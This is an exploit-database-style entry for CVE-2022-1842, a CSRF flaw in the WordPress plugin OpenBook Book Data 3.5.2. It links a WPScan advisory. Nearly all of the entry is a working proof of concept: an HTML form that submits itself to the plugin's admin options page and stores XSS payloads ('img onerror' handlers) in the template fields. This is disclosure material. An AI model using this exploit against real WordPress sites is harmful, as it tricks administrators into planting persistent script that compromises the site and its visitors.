CVE: CVE-2022-1842

Name: OpenBook Book Data (openbook-book-data)

Version: 3.5.2

Date: 2022-04-23 16:50:31

Advisory: https://wpscan.com/vulnerability/77aafeb9-af80-490a-b3d7-4fa973bab61c

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=openbook_options.php" method="POST">
    <input type="text" name="openbook_template1" value="<img src=x onerror=alert(66)>">
    <input type="text" name="openbook_template2" value="<img src=x onerror=alert(77)>">
    <input type="text" name="openbook_template3" value="<img src=x onerror=alert(88)>">
    <input type="text" name="openbook_template4" value="<img src=x onerror=alert(99)>">
    <input type="text" name="openbook_template5" value="<img src=x onerror=alert(1010)>">
    <input type="text" name="openbook_findinlibrary_openurlresolver" value="">
    <input type="text" name="openbook_findinlibrary_phrase" value="Find in the Library">
    <input type="text" name="openbook_imagesrc_phrase" value="">
    <input type="text" name="openbook_openlibrary_domain" value="http://openlibrary.org">
    <input type="text" name="openbook_proxy" value="">
    <input type="text" name="openbook_proxyport" value="">
    <input type="text" name="openbook_timeout" value="10">
    <input type="text" name="openbook_savetemplates" value="on">
    <input type="text" name="save" value="Save Changes">
    <input type="text" name="action" value="save">
</form>
<script>
    document.forms[0].submit();
</script>